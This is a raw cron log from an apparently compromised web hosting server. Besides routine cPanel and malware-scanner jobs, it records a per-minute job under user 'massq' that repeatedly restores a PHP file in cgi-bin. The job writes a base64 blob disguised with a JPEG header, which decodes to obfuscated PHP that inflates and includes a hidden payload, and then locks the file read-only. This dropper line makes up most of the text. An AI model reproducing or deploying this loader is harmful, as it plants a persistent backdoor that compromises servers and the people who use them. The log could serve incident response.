Nov 10 18:03:01 server CROND[27608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:04:01 server CROND[28359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:05:01 server CROND[29385]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 18:05:01 server CROND[29384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:05:01 server CROND[29386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:05:01 server CROND[29387]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:06:01 server CROND[30262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:07:01 server CROND[31072]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:08:01 server CROND[31971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:09:01 server CROND[324]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 18:09:01 server CROND[326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:10:01 server CROND[1255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:10:01 server CROND[1256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:10:01 server CROND[1258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:10:01 server CROND[1257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:11:01 server CROND[1998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:12:01 server CROND[2823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:12:01 server CROND[2824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 18:13:01 server CROND[3416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:14:01 server CROND[4098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:15:01 server CROND[4917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:15:01 server CROND[4918]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:15:01 server CROND[4920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:15:01 server CROND[4921]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:15:01 server CROND[4919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
